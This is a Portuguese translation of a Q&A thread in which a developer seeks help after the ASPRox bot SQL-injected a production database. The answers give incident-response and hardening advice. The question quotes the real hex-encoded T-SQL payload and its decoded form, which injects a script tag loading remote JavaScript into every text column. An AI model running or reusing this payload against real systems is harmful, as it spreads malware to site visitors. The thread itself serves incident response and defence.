AJUDA! O banco de dados de produção foi SQL INJETADO!

AJUDA! O banco de dados de produção foi SQL INJETADO!

Possível duplicata:
Meu servidor foi hackeado EMERGÊNCIA

Nossa, estou desesperado! Algumas horas atrás, nosso banco de dados de produção foi injetado em SQL.

Eu sei que temos algumas grandes falhas no sistema... porque herdamos o site de um cara que fez isso em ASP clássico, a programação dele era realmente horrível e insegura. Então passamos algum tempo migrando para ASP.NET (primeiro 1.1, depois 2.0 e agora 3.5). Mas é um grande projeto e ainda existe código antigo e inseguro. Não vou mentir, o projeto está uma bagunça, odeio, mas é o nosso cliente mais importante (somos apenas 2 jovens, não somos uma grande empresa).

Então eu sei que eles injetaram algumas referências de script js em todo o meu banco de dados de alguma forma .... Provavelmente foi através de uma página antiga usando consultas sql de string concatenada e jogando diretamente no banco de dados (porque aquele cara que inicia o projeto disse "Procedimentos armazenados não não funcionou"..... então ele fez o site inteiro usando concatenação de strings, e jogou-as diretamente no sql sem fazer nenhuma validação de segurança nem nada.

Quando recebemos o projeto, o cliente não queria perder tempo refazendo a porcaria que o velho fez. Então tivemos que gerar um código de baixa qualidade e inseguro e corrigi-lo enquanto desenvolvíamos novos recursos, porque era isso que o cliente queria... e agora que fomos injetados com sql, eles ficaram loucos, é claro.

ENTÃO....

** Existe alguma maneira de verificar consultas SQL antigas que foram executadas nas últimas X horas? Algo parecido com o SQL Profiler (mas é claro que não tínhamos o profiler aberto quando o ataque aconteceu)? Existe uma maneira de descobrir qual página é vulnerável? Por favor, ajude, há muitas páginas. Não consigo pesquisá-los manualmente sem saber ao certo qual era a página.

Além disso... poderia haver outra maneira de injetar o banco de dados? Como usar uma solicitação IIS ou js ou algo assim?**

Tenho acesso total à área de trabalho remota para a máquina do servidor (não está em um ambiente hospedado) para poder acessar todos os arquivos, logs, qualquer coisa no servidor...

Por favor ajude!

PS: Desculpe, meu inglês não é tão bom e está pior agora que estou nervoso!

EDITAR

  • Servidor Windows 2003
  • SQL SERVER 2005
  • ASP.NET 3.5

O script que eles estão lançando é o seguinte

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

O que traduzido para texto é:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Responder1

A primeira coisa a fazer é não entrar em pânico. Mas vejo que você ignorou isso e decidiu

A segunda coisa é retirar o site do ar e garantir que ele não seja acessível de fora até que você descubra o que está quebrado. Comece a observar os logs de acesso e tente descobrir qual é o principal problema.

A terceira coisa a fazer é verificar se você faz backup do seu banco de dados regularmente e apenas reverte. Você pode perder alguns dados, mas estará em uma situação melhor do que está agora

A quarta coisa a fazer é - NÃO - divulgar o URL porque aparentemente não é seguro

Responder2

Definitivamente, certifique-se de instalar a versão mais recente do UrlScan – ela foi projetada para atacar esse tipo de ataque.

Se você tiver logs do IIS, o ponto de entrada deve ser bastante óbvio – procure aquele que os hackers estavam martelando.

Outra boa solução, se possível, é negar os direitos INSERT e UPDATE à conta do usuário da web e, em vez disso, perfurar isso por meio de procedimentos armazenados. Esse tipo de proteção nos salvou de ter um problema semelhante com um aplicativo legado semelhante quando se tratava de um ataque de dia zero.

Acho que você também pode remover o direito do usuário PUBLIC de verificar tabelas, o que deve impedi-los de realizar ataques no estilo "foreach table".

Responder3

Como ponto de referência, este é o trabalho do ataque SQL Injection do bot ASPRox. Parece surgir de vez em quando porque se torna bastante viral quando sistemas comprometidos são encontrados. Você pode pesquisar no Google por "bot ASPRox" e obter alguns métodos de limpeza adicionais e outros tratamentos de prevenção. Acabei de encontrareste PDFarquivo que tem uma boa visão geral de suas táticas e links para algumas opções de limpeza.

O problema é que o modelo de vírus/injeção basicamente pegou cada campo de texto em TODAS as tabelas do seu banco de dados e colocou um pequeno trecho que chama a URL especificada para tentar infectar qualquer outro cliente da web e tentar transformá-los em zumbis que visitam seu site .

Portanto, certifique-se de verificar todos os bancos de dados do servidor em questão, não apenas aquele com o banco de dados envolvido, para fazer uma limpeza adequada.

Parece que você está no caminho certo com as sugestões aqui, mas ter algumas referências “formais” ao nome do vírus pode ajudar em necessidades adicionais.

Responder4

Verifique seus logs do IIS para descobrir qual página eles usaram para fazer a injeção. Escusado será dizer que você precisa corrigir ou desativar essa página rapidamente.

A melhor abordagem depende do tipo de site. Se tudo for possível,tirar o site do araté que você restaure um banco de dados intacto ou reverta as alterações (isso requer logs detalhados). Em seguida, você pode colocar o site novamente em modo somente leitura até ter tempo de corrigir o(s) problema(s). Apenas restrinja a conta SQL apenas para SELECT.

Mesmo ao concatenar strings de consulta, você pode estar bastante seguro com pouco esforço. Pesquisar todos os arquivos ASP por palavras-chave como SELECT e UPDATE revelará todas as consultas. Cerque todos os seus parâmetros com verificações básicas de sanidade para começar.

Como você provavelmente está com pressa, você pode dar uma olhada em algunsrealmenteantigo código ASP VBScript meu. Existem várias funções SafeSqlWhatever para ajudá-lo a criar instruções SQL seguras. Sem garantias, nunca foi planejado para ser público. No entanto, substituindo todos os insumos variáveis ​​pelosSqlVar(algumValor)função deve ajudá-lo a começar. Você precisa remover as aspas simples do restante da sua string de consulta, pois o SqlVar as adiciona para você. Alternativamente, use as funções específicas para o tipo de valor que você espera:

Antes:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Depois:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: não, não é assim que deveria ser, masprovavelmenteo mais rápido para colocar as coisas de volta em ordem de funcionamento de onde você está agora.

informação relacionada